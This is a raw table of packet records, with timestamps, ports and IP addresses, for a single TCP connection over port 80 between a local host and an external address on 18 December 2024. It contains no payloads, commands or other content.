Dec 18, 2024 15:22:12.318677902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.318766117 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.318766117 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.319921017 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.320015907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.320022106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.320077896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.320878983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.320952892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.320997000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.321113110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.321919918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.321975946 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.321985960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.322082043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.322894096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.322910070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.322978973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.322978973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.323762894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.323780060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.323839903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.323839903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.324635983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.324690104 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.324702978 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.324759960 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.325721979 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.325737953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.325794935 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.325794935 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.326782942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.326807022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.326852083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.326931953 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.327882051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.327950001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.327996016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.328047991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.328999043 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.329014063 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.329085112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.330044031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.330102921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.330221891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.330307961 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.331229925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.331271887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.331285000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.331336975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.332200050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.332283020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.332304001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.332349062 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.333313942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.333329916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.333410025 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.334779978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.334806919 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.334959030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.335642099 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.335681915 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.335741043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.335741043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.336704016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.336884022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.336898088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.337006092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.337841988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.337937117 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.338027000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.338852882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.338936090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.339201927 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.339310884 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.339714050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.339826107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.339833975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.339901924 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.341022015 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.341145992 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.341171026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.341211081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.342024088 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.342041016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.342098951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.342098951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.343158007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.343174934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.343271017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.344233036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.344249964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.344356060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.344356060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.345149994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.345237970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.345249891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.345434904 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.346247911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.346338034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.346375942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.346502066 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.347296953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.347362041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.347409964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.347563982 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.348423004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.348473072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.348550081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.349630117 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.349708080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.349709034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.349807024 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.350742102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.350811005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.350836039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.350912094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.351912975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.351948977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.352047920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.353334904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.353362083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.353471994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.354259014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.354327917 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.354389906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.354574919 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.355319977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.355370998 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.355381966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.355428934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.356424093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.356487036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.356515884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.356730938 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.357469082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.357518911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.357557058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.357570887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.358383894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.358452082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.358536005 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.358711004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.359524965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.359580994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.359617949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.359617949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.360347033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.360404015 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.360456944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.360527992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.361387968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.361460924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.361474037 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.361547947 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.362478971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.362529039 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.362565041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.362777948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.363476038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.363596916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.363627911 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.363763094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.364563942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.364746094 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.365330935 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.365859032 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.365947008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.366955996 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.367022038 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.367022038 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.367072105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.367685080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.367780924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.367955923 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.367999077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.367999077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.368984938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.369111061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.369194031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.369245052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.370024920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.370280981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.370352983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.370352983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.371025085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.371145964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.371171951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.371331930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.372169018 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.372245073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.372292042 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.372423887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.373200893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.373322010 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.373327971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.373480082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.374222994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.374371052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.512034893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.512130022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.512196064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.512262106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.512552977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.512567997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.512609005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.512640953 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.513473034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.513529062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.513551950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.513690948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.514475107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.514543056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.514718056 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.514772892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.515892029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.515996933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.516035080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.516102076 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.517059088 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.517111063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.517112970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.517172098 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.517960072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.517966986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.518042088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.518748045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.518807888 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.518860102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.518910885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.519895077 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.519973040 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.520061016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.520266056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.521002054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.521146059 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.521233082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.521233082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.522350073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.522461891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.522578001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.522578001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.523194075 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.523207903 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.523287058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.524162054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.524213076 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.524283886 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.524327993 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.525326967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.525373936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.525384903 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.525722980 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.526371002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.526415110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.526451111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.526523113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.527499914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.527554989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.527679920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.527725935 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.528580904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.528644085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.528688908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.528767109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.529575109 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.529650927 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.529670954 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.529699087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.530627966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.530728102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.530731916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.530769110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.531712055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.531800985 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.531835079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.531934977 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.533298969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.533356905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.533406973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.533406973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.534262896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.534300089 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.534322023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.534339905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.535053968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.535120964 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.535142899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.535197020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.536101103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.536207914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.536531925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.536598921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.537152052 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.537167072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.537276030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.537276030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.538181067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.538244009 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.538273096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.538346052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.539280891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.539341927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.539397955 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.539482117 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.540436029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.540533066 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.540550947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.540651083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.541457891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.541594028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.541646957 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.541728973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.542515039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.542649984 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.542659044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.542711020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.543680906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.543741941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.543759108 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.543777943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.544749022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.544787884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.544819117 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.544864893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.545927048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.545938969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.546027899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.546843052 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.546966076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.547089100 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.547897100 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.548075914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.548146963 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.548989058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.549098015 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.549112082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.550095081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.550165892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.550187111 CET	80	49910	31.41.244.11	192.168.2.5
